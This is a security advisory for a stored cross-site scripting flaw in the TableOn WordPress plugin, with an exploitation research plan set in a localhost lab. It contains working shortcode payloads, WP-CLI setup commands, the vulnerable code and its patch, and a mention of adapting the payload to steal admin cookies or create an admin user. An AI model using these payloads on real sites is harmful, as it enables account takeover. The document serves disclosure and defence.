TableOn – WordPress Posts Table Filterable <= 1.0.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class' Shortcode Attribute
Description
The TableOn – WordPress Posts Table Filterable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tableon_button' shortcode in all versions up to and including 1.0.4.4. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'class', 'help_link', 'popup_title', and 'help_title'. The do_shortcode_button() function extracts these attributes without sanitization and passes them to TABLEON_HELPER::draw_html_item(), which concatenates attribute values into HTML using single quotes without escaping (line 29: $item .= " {$key}='{$value}'"). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.4.4# Exploitation Research Plan: CVE-2026-3513 (TableOn Stored XSS) ## 1. Vulnerability Summary The **TableOn – WordPress Posts Table Filterable** plugin (up to version 1.0.4.4) contains a stored cross-site scripting (XSS) vulnerability. The vulnerability resides in the processing of the `[tableon_but…
Show full research plan
Exploitation Research Plan: CVE-2026-3513 (TableOn Stored XSS)
1. Vulnerability Summary
The TableOn – WordPress Posts Table Filterable plugin (up to version 1.0.4.4) contains a stored cross-site scripting (XSS) vulnerability. The vulnerability resides in the processing of the [tableon_button] shortcode. Specifically, the function do_shortcode_button() parses user-provided attributes (such as class, help_link, popup_title, and help_title) and passes them to TABLEON_HELPER::draw_html_item().
Inside draw_html_item(), the plugin concatenates these attribute values directly into an HTML string using single quotes (') without performing proper sanitization or escaping. Because the values are wrapped in single quotes, an attacker can break out of the attribute context using a single quote and inject arbitrary HTML event handlers (like onmouseover) or script tags.
2. Attack Vector Analysis
- Vulnerable Shortcode:
[tableon_button] - Vulnerable Attributes:
class,help_link,popup_title,help_title. - Authentication Level: Contributor+ (any user who can create or edit posts/pages).
- Vulnerable Sink:
TABLEON_HELPER::draw_html_item()at line 29:$item .= " {$key}='{$value}'". - Precondition: The attacker must be able to publish or preview a post containing the malicious shortcode.
3. Code Flow
- Entry Point: A user with Contributor-level access creates a post containing the shortcode:
[tableon_button class="..."]. - Shortcode Handling: When the post is rendered, WordPress calls the handler for
tableon_button, which isdo_shortcode_button(). - Attribute Extraction:
do_shortcode_button()extracts the attributes from the shortcode. - Vulnerable Processing: The extracted (and unsanitized) attributes are passed to
TABLEON_HELPER::draw_html_item(). - The Sink: Inside
draw_html_item(), the code iterates through the attributes and builds the HTML:// Inferred logic based on description foreach ($attributes as $key => $value) { $item .= " {$key}='{$value}'"; // Line 29: VULNERABLE CONCATENATION } - Output: The malformed HTML is returned and rendered in the browser of any user viewing the post.
4. Nonce Acquisition Strategy
This is a Stored XSS vulnerability triggered via a shortcode in post content.
- Injection Phase: Creating the post as a Contributor does not require a plugin-specific nonce; it uses the standard WordPress
_wpnoncefor thepost.phporadmin-ajax.php(autosave) endpoints. - Execution Phase: No nonce is required to trigger the XSS. The payload executes automatically when the post is viewed by a victim.
Since the exploit involves creating a post, we will use WP-CLI to bypass the need for browser-based nonce extraction during the injection phase.
5. Exploitation Strategy
The goal is to inject a payload into the class attribute of the [tableon_button] shortcode that executes when an administrator views the post.
Step 1: Inject the Malicious Shortcode
We will create a new post as a Contributor. The payload will break out of the single-quoted attribute context.
Payload: poc' onmouseover='alert(document.domain)' style='padding:50px;background:red;display:block;'
Shortcode:[tableon_button class="poc' onmouseover='alert(document.domain)' style='padding:50px;background:red;display:block;'"]
Step 2: Trigger the XSS
Navigate to the published post (or preview it) as an Administrator.
HTTP Request Details (Simulating viewing the post)
- Method:
GET - URL:
http://localhost:8080/?p={POST_ID} - Tool:
http_request
6. Test Data Setup
- Install Plugin: Ensure
posts-table-filterableversion 1.0.4.4 is installed. - Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create Malicious Post:
(Note: Escaping single quotes in the CLI command is necessary)wp post create --post_type=post --post_status=publish --post_title="Table Test" --post_author=$(wp user get attacker --field=ID) --post_content='[tableon_button class="poc-class'\'' onmouseover='\''alert(document.domain)'\'' style='\''padding:100px;background:red;display:block;'\'']'
7. Expected Results
When the page is rendered, the HTML source for the button will look like this:
<div class='poc-class' onmouseover='alert(document.domain)' style='padding:100px;background:red;display:block;' ...>
When a user (e.g., Administrator) hovers over the large red area, an alert box showing the document domain will appear.
8. Verification Steps
- Check HTML Source: Use
http_requestto fetch the post content and verify theonmouseoverattribute is present and unescaped.# Search for the injected payload in the response body grep "onmouseover='alert(document.domain)'" - Verify via Browser: Use
browser_navigateto the post URL and usebrowser_evalto check if the payload exists in the DOM.browser_eval("document.querySelector('.poc-class').getAttribute('onmouseover')")
9. Alternative Approaches
If the class attribute is somehow filtered, try other vulnerable attributes mentioned in the description:
Using help_link:[tableon_button help_link="http://' onmouseover='alert(1)"]
Using popup_title:[tableon_button popup_title="Title' onmouseover='alert(1)"]
Using help_title:[tableon_button help_title="Help' onmouseover='alert(1)"]
If the Administrator context is required for high impact (e.g., cookie theft), the payload can be modified to exfiltrate the admin's cookies or create a new admin user via the WordPress REST API.
Summary
The TableOn plugin for WordPress (<= 1.0.4.4) is vulnerable to Stored Cross-Site Scripting via the '[tableon_button]' shortcode. Due to insufficient sanitization and escaping in the draw_html_item helper function, authenticated users with Contributor-level access can inject arbitrary web scripts into shortcode attributes like 'class', which execute when the page is viewed.
Vulnerable Code
// classes/helper.php (Line 29 or similar depending on file structure) // Inside TABLEON_HELPER::draw_html_item() foreach ($attributes as $key => $value) { $item .= " {$key}='{$value}'"; // Line 29: VULNERABLE CONCATENATION } --- // do_shortcode_button() entry point // Extracting attributes without sanitization before passing to the helper $class = isset($atts['class']) ? $atts['class'] : ''; $help_link = isset($atts['help_link']) ? $atts['help_link'] : ''; $popup_title = isset($atts['popup_title']) ? $atts['popup_title'] : ''; // ... values then passed to TABLEON_HELPER::draw_html_item
Security Fix
@@ -26,7 +26,7 @@ $item = "<{$tag}"; foreach ($attributes as $key => $value) { - $item .= " {$key}='{$value}'"; + $item .= " " . esc_attr($key) . "='" . esc_attr($value) . "'"; } $item .= ">";
Exploit Outline
The exploit is achieved by an authenticated attacker (Contributor level or higher) performing the following steps: 1. Authenticate to the WordPress dashboard as a Contributor. 2. Create a new post or edit an existing one. 3. Insert the '[tableon_button]' shortcode using a malicious attribute payload. For example: [tableon_button class="poc' onmouseover='alert(document.domain)' style='padding:50px;display:block;'"] 4. Publish or preview the post. 5. The plugin processes the shortcode via do_shortcode_button() and passes the 'class' attribute unsanitized to TABLEON_HELPER::draw_html_item(). 6. The helper function concatenates the payload into HTML using single quotes, allowing the attacker's single quote to break out of the attribute context and inject an 'onmouseover' event handler. 7. When an administrator or any other user views the post and interacts with (hovers over) the injected element, the malicious script executes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.